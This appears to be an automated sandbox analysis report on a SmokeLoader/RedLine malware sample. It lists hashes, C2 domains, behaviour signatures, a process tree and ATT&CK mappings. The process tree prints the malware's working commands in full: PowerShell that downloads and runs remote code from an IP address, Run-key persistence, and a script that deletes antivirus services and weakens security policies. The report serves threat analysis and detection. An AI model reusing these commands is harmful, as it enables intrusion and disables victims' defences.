Analysis

  • max time kernel
    150s
  • max time network
    173s
  • platform
    windows7_x64
  • resource
    win7v20210410
  • submitted
    11-08-2021 20:40

General

  • Target

    d4537efd24d9b886648bd32b6ce4da99.exe

  • Size

    207KB

  • MD5

    d4537efd24d9b886648bd32b6ce4da99

  • SHA1

    1a014d098b8ef7ecef5ec124ddef0030c42da509

  • SHA256

    5d372a19bbdae072e4fb4ff9deded30dbb40f4a74b54fbf77888a1523e864129

  • SHA512

    e0db39cd1165f6d34e33f4a31e71a1ff69f48cf3baf291cf873b91954e608b89dd8a89a4f1cafa279936cf22abf4e901290816d649bcbc143e7977618d6e30e4

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://91.241.19.52/Api/GetFile2

Extracted

Family

smokeloader

Version

2020

C2

http://readinglistforjuly1.xyz/

http://readinglistforjuly2.xyz/

http://readinglistforjuly3.xyz/

http://readinglistforjuly4.xyz/

http://readinglistforjuly5.xyz/

http://readinglistforjuly6.xyz/

http://readinglistforjuly7.xyz/

http://readinglistforjuly8.xyz/

http://readinglistforjuly9.xyz/

http://readinglistforjuly10.xyz/

http://readinglistforjuly1.site/

http://readinglistforjuly2.site/

http://readinglistforjuly3.site/

http://readinglistforjuly4.site/

http://readinglistforjuly5.site/

http://readinglistforjuly6.site/

http://readinglistforjuly7.site/

http://readinglistforjuly8.site/

http://readinglistforjuly9.site/

http://readinglistforjuly10.site/

rc4.i32
rc4.i32

Signatures

  • Modifies Windows Defender Real-time Protection settings 3 TTPs
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 1 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
  • Blocklisted process makes network request 1 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 9 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Deletes itself 1 IoCs
  • Drops startup file 1 IoCs
  • Loads dropped DLL 9 IoCs
  • Themida packer 2 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 10 IoCs
  • Suspicious use of FindShellTrayWindow 5 IoCs
  • Suspicious use of SendNotifyMessage 12 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\d4537efd24d9b886648bd32b6ce4da99.exe
    "C:\Users\Admin\AppData\Local\Temp\d4537efd24d9b886648bd32b6ce4da99.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1856
    • C:\Users\Admin\AppData\Local\Temp\d4537efd24d9b886648bd32b6ce4da99.exe
      "C:\Users\Admin\AppData\Local\Temp\d4537efd24d9b886648bd32b6ce4da99.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:2012
  • C:\Users\Admin\AppData\Local\Temp\15F1.exe
    C:\Users\Admin\AppData\Local\Temp\15F1.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of SetWindowsHookEx
    PID:752
  • C:\Users\Admin\AppData\Local\Temp\1BEB.exe
    C:\Users\Admin\AppData\Local\Temp\1BEB.exe
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:920
    • C:\Users\Admin\AppData\Local\Temp\is-8JJ9G.tmp\1BEB.tmp
      "C:\Users\Admin\AppData\Local\Temp\is-8JJ9G.tmp\1BEB.tmp" /SL5="$80158,4193427,831488,C:\Users\Admin\AppData\Local\Temp\1BEB.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:1524
      • C:\Users\Admin\AppData\Local\Temp\1BEB.exe
        "C:\Users\Admin\AppData\Local\Temp\1BEB.exe" /VERYSILENT
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious use of WriteProcessMemory
        PID:432
        • C:\Users\Admin\AppData\Local\Temp\is-74GT4.tmp\1BEB.tmp
          "C:\Users\Admin\AppData\Local\Temp\is-74GT4.tmp\1BEB.tmp" /SL5="$60156,4193427,831488,C:\Users\Admin\AppData\Local\Temp\1BEB.exe" /VERYSILENT
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of WriteProcessMemory
          PID:860
          • C:\Users\Admin\AppData\Roaming\BI Video Controller for x86 systems\fsucenter.exe
            "C:\Users\Admin\AppData\Roaming\BI Video Controller for x86 systems\fsucenter.exe"
            5⤵
            • Executes dropped EXE
            • Loads dropped DLL
            PID:948
  • C:\Users\Admin\AppData\Local\Temp\2712.exe
    C:\Users\Admin\AppData\Local\Temp\2712.exe
    1⤵
    • Executes dropped EXE
    • Checks BIOS information in registry
    • Checks whether UAC is enabled
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Suspicious use of AdjustPrivilegeToken
    PID:1560
  • C:\Users\Admin\AppData\Local\Temp\2C61.exe
    C:\Users\Admin\AppData\Local\Temp\2C61.exe
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:904
    • C:\ProgramData\Runtimebroker.exe
      "C:\ProgramData\Runtimebroker.exe"
      2⤵
      • Executes dropped EXE
      • Drops startup file
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:1284
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell Set-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'Sound device' -Value 'Cmd.Exe /c POwERsheLl -WinD HIDDen -CoMmAN (New-Object System.Net.WebClient).DownloadFile((''http://91.241.19.52/Ru''+''nti''+''m''+''ebr''+''oke''+''r.exe''),($env:TEMP+''\Vp''+''nm.e''+''xe''));Start-Process ($env:TEMP+''\V''+''pn''+''m.exe'')'
        3⤵
        • Adds Run key to start application
        • Suspicious use of AdjustPrivilegeToken
        PID:1992
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell $dll =[Reflection.Assembly]::Load((New-Object System.Net.WebClient).DownloadData('http://91.241.19.52/Api/GetFile2'));$theType = $dll.GetType('filedll.Program');$method = $theType.GetMethod('Start');$method.Invoke([System.Activator]::CreateInstance($theType),@());rv dll,theType,method
        3⤵
        • Blocklisted process makes network request
        • Suspicious use of AdjustPrivilegeToken
        PID:1564
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "powershell" Get-MpPreference -verbose
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:2000
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" @echo off Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\KSDE2.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\KSDE1.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP18.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP17.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP16.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP15.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP14.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP13.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP12.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP11.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP10.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\MBAMService" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McAWFwk" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\MSK80Service" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McAPExe" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McBootDelayStartSvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\mccspsvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\mfefire" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\HomeNetSvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\ModuleCoreService" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McMPFSvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\mcpltsvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McProxy" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McODS" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\mfemms" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McAfee SiteAdvisor Service" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\mfevtp" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McNaiAnn" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\nanosvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\NortonSecurity" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\!SASCORE" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\SBAMSvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\ZillyaAVAuxSvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\ZillyaAVCoreSvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\QHActiveDefense" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\avast! Antivirus" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\avast! Firewall" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVG Antivirus" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AntiVirMailService" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AntiVirService" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\Avira.ServiceHost" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AntiVirWebService" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AntiVirSchedulerService" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\vsservppl" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\ProductAgentService" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\vsserv" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\updatesrv" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\cmdAgent" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\cmdvirth" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\DragonUpdater" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\ekrn" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\0247141531883172mcinstcleanup" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\PEFService" /f set "osX=%PROCESSOR_ARCHITECTURE%" if defined PROCESSOR_ARCHITEW6432 set "osX=AMD64" if "%osX%"=="x86" ( Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Associations" /v "DefaultFileTypeRisk" /t REG_DWORD /d "24914" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Associations" /v "LowRiskFileTypes" /t REG_SZ /d ".zip;.rar;.nfo;.txt;.exe;.bat;.com;.cmd;.reg;.msi;.htm;.html;.gif;.bmp;.jpg;.avi;.mpg;.mpeg;.mov;.mp3;.m3u;.wav;" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Attachments" /v "HideZoneInfoOnProperties" /t REG_DWORD /d "1" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Attachments" /v "SaveZoneInformation" /t REG_DWORD /d "2" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}" /v "DisplayName" /t REG_SZ /d "RelevantKnowledge" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}" /v "UninstallString" /t REG_SZ /d "%ProgramFiles%\RelevantKnowledge\rlvknlg.exe -bootremove -uninst:RelevantKnowledge" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "HK_Path" /t REG_SZ /d "%windir%\system32\rlls.dll" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "HK64_Path" /t REG_SZ /d "%windir%\system32\rlls64.dll" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "LD64_Path" /t REG_SZ /d "%ProgramFiles%\RelevantKnowledge\rlvknlg64.exe" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "KS_Path" /t REG_SZ /d "%ProgramFiles%\RelevantKnowledge\rlls.dll" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "SV_Path" /t REG_SZ /d "%ProgramFiles%\RelevantKnowledge\rlservice.exe" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy" /v "" /t REG_SZ /d "" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy\Settings" /v "RunLine" /t REG_SZ /d "%ProgramFiles%\RelevantKnowledge\rlvknlg.exe -boot" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy\Settings" /v "ServiceName" /t REG_SZ /d "RelevantKnowledge" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy\Settings" /v "UninstURL" /t REG_SZ /d "http://www.relevantknowledge.com/confirmuninstall.aspx?siteid=2600&campaign_id=794" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy\Settings" /v "RevertPath" /t REG_SZ /d "%ProgramFiles%\RelevantKnowledge" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "AvastUI.exe" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "QHSafeTray" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Zillya Antivirus" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SBAMTray" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SBRegRebootCleaner" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "egui" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "IseUI" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "COMODO Internet Security" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "ClamWin" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Avira SystrayStartTrigger" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "AVGUI.exe" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SUPERAntiSpyware" /f Reg Delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "SUPERAntiSpyware" /f ) else ( Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Associations" /v "DefaultFileTypeRisk" /t REG_DWORD /d "24914" /f /reg:64 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Associations" /v "LowRiskFileTypes" /t REG_SZ /d ".zip;.rar;.nfo;.txt;.exe;.bat;.com;.cmd;.reg;.msi;.htm;.html;.gif;.bmp;.jpg;.avi;.mpg;.mpeg;.mov;.mp3;.m3u;.wav;" /f /reg:64 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Attachments" /v "HideZoneInfoOnProperties" /t REG_DWORD /d "1" /f /reg:64 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Attachments" /v "SaveZoneInformation" /t REG_DWORD /d "2" /f /reg:64 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}" /v "DisplayName" /t REG_SZ /d "RelevantKnowledge" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}" /v "UninstallString" /t REG_SZ /d "%ProgramFiles(x86)%\RelevantKnowledge\rlvknlg.exe -bootremove -uninst:RelevantKnowledge" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "HK_Path" /t REG_SZ /d "%windir%\system32\rlls.dll" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "HK64_Path" /t REG_SZ /d "%windir%\system32\rlls64.dll" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "LD64_Path" /t REG_SZ /d "%ProgramFiles(x86)%\RelevantKnowledge\rlvknlg64.exe" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "KS_Path" /t REG_SZ /d "%ProgramFiles(x86)%\RelevantKnowledge\rlls.dll" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "SV_Path" /t REG_SZ /d "%ProgramFiles(x86)%\RelevantKnowledge\rlservice.exe" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy" /v "" /t REG_SZ /d "" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy\Settings" /v "RunLine" /t REG_SZ /d "%ProgramFiles(x86)%\RelevantKnowledge\rlvknlg.exe -boot" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy\Settings" /v "ServiceName" /t REG_SZ /d "RelevantKnowledge" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy\Settings" /v "UninstURL" /t REG_SZ /d "http://www.relevantknowledge.com/confirmuninstall.aspx?siteid=2600&campaign_id=794" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy\Settings" /v "RevertPath" /t REG_SZ /d "%ProgramFiles(x86)%\RelevantKnowledge" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "AvastUI.exe" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "QHSafeTray" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Zillya Antivirus" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SBAMTray" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SBRegRebootCleaner" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "egui" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "IseUI" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "COMODO Internet Security" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "ClamWin" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Avira SystrayStartTrigger" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "AVGUI.exe" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SUPERAntiSpyware" /f /reg:32 Reg Delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "SUPERAntiSpyware" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "AvastUI.exe" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "QHSafeTray" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Zillya Antivirus" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SBAMTray" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SBRegRebootCleaner" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "egui" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "IseUI" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "COMODO Internet Security" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "ClamWin" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Avira SystrayStartTrigger" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "AVGUI.exe" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SUPERAntiSpyware" /f /reg:64 Reg Delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "SUPERAntiSpyware" /f /reg:64 )
          4⤵
            PID:1800
    • C:\Users\Admin\AppData\Local\Temp\32B8.exe
      C:\Users\Admin\AppData\Local\Temp\32B8.exe
      1⤵
        PID:1828

      Network

      MITRE ATT&CK Matrix ATT&CK v6

      Persistence

      Modify Existing Service

      1
      T1031

      Registry Run Keys / Startup Folder

      1
      T1060

      Defense Evasion

      Modify Registry

      2
      T1112

      Disabling Security Tools

      1
      T1089

      Virtualization/Sandbox Evasion

      1
      T1497

      Discovery

      Query Registry

      3
      T1012

      Virtualization/Sandbox Evasion

      1
      T1497

      System Information Discovery

      4
      T1082

      Peripheral Device Discovery

      1
      T1120

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\ProgramData\Runtimebroker.exe
        MD5

        46fd8caf1c1ff128c4d121d58a2e9306

        SHA1

        f10607b0db63cf47e9fe8c01fc819e124349dc84

        SHA256

        f15112b43c4fbd5a9b6cd2009abc371e1180ab7a13a2a745fa79d220f31dcbbc

        SHA512

        6307d93927ce8b143dd2babdbbcbb7e5336c2fc315cbcd4c231f9a1fd2199d82ec6bff14aa1f66438ef3ca11ff8806b31de8d344c21cc400dd5795c3788df540

      • C:\ProgramData\Runtimebroker.exe
        MD5

        46fd8caf1c1ff128c4d121d58a2e9306

        SHA1

        f10607b0db63cf47e9fe8c01fc819e124349dc84

        SHA256

        f15112b43c4fbd5a9b6cd2009abc371e1180ab7a13a2a745fa79d220f31dcbbc

        SHA512

        6307d93927ce8b143dd2babdbbcbb7e5336c2fc315cbcd4c231f9a1fd2199d82ec6bff14aa1f66438ef3ca11ff8806b31de8d344c21cc400dd5795c3788df540

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_1602f747-c1a3-4345-8dec-4dcb8b1f72e5
        MD5

        02ff38ac870de39782aeee04d7b48231

        SHA1

        0390d39fa216c9b0ecdb38238304e518fb2b5095

        SHA256

        fbd66a9baf753db31b8de23f2d51b67f8676687503653103080c45b16f1dc876

        SHA512

        24a1ff76ee42ff7a5ea42843928c4df07b06178f7781cd840e1e086e88735d81506eb67259ff1e6ce5aaa7c5baea03886da265eb7e025ff4dc4c4b5f8cd3e341

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_2d686436-375c-4ee1-bd4a-9e44ccd248ba
        MD5

        75a8da7754349b38d64c87c938545b1b

        SHA1

        5c28c257d51f1c1587e29164cc03ea880c21b417

        SHA256

        bf08151c174b5d00c9dbc7907b2c6a01b4be76bfa3afce1e8bd98a04ad833c96

        SHA512

        798797bc74c56c874e9a5fdcb0157c04e37a1b3cce285ef064b01bceef8cec45f11a5198918c6c647220b62883606b5e12e3cca3ea369f3a66e69dea6e15f643

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_4375eeb7-a65d-43f1-a616-02c5ad6c5370
        MD5

        be4d72095faf84233ac17b94744f7084

        SHA1

        cc78ce5b9c57573bd214a8f423ee622b00ebb1ec

        SHA256

        b0d72c5c22e57913476ac8fc686a4593f137c6667d5094522c0a0685dabd7adc

        SHA512

        43856e9b1032b8690ceea810c931bed3655e9190414bb220fb6afc136f31b8335e07604dffb28405d4006f266a54cff424c527d29924b1b732c9647a3252b097

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_6fe5bd95-2cea-4aea-9c8c-dd67bac4295b
        MD5

        df44874327d79bd75e4264cb8dc01811

        SHA1

        1396b06debed65ea93c24998d244edebd3c0209d

        SHA256

        55de642c5c9e436ec01c57004dae797022442c3245daf7162d19a5585f221181

        SHA512

        95dc9298b8db059bbe746f67e6a7f8515781c7053cc60c01532e47623a996be7e1bd23d1bd8f5f2045adff27454f44930d503c15b695690088841cedbd2a06c3

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_bc2fe8ee-69c0-48ce-8821-1fab80ab4eeb
        MD5

        597009ea0430a463753e0f5b1d1a249e

        SHA1

        4e38b8bb65ecbd5c9f0d3d8c47f7caba33de6c62

        SHA256

        3fd2a8217a845c43dbc0dc206c28be81d2687aa9ba62019d905aef10cfaec45d

        SHA512

        5d722fa908e64575b2497c60d142e182011a10c6ed33813b3b4796b3147ece1bc96938518b4c8911a1bac3b7560528ebe3e8e754c11015516d335df5d7c6871d

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_fa12b0a1-3d6a-4bab-a74a-253a75ca0598
        MD5

        5e3c7184a75d42dda1a83606a45001d8

        SHA1

        94ca15637721d88f30eb4b6220b805c5be0360ed

        SHA256

        8278033a65d1ff48be4d86e11f87930d187692f59f8bf2f0a9d170de285afb59

        SHA512

        fae99b6e9b106e0f1c30aa4082b25ae1ad643455c1295c2c16ad534e3e611b9b08492353ffe1af1cfdddc9b2b7c330747a64012c45e62b8f4a4982dcc214e05b

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_fd9bf4da-ec38-4847-85c5-d50f35796d4c
        MD5

        a725bb9fafcf91f3c6b7861a2bde6db2

        SHA1

        8bb5b83f3cc37ff1e5ea4f02acae38e72364c114

        SHA256

        51651f27f54c7261887037aa1de4eff0a26c6807906dfc34a15cd5a0b58a8431

        SHA512

        1c4b21dd5660bfec8347257bb3da64681b0a97c427790d9ab3484f687dac032bcff0e07876635953697b00cf83e7d37f97c44e0219627fd0533f60ed3024b97e

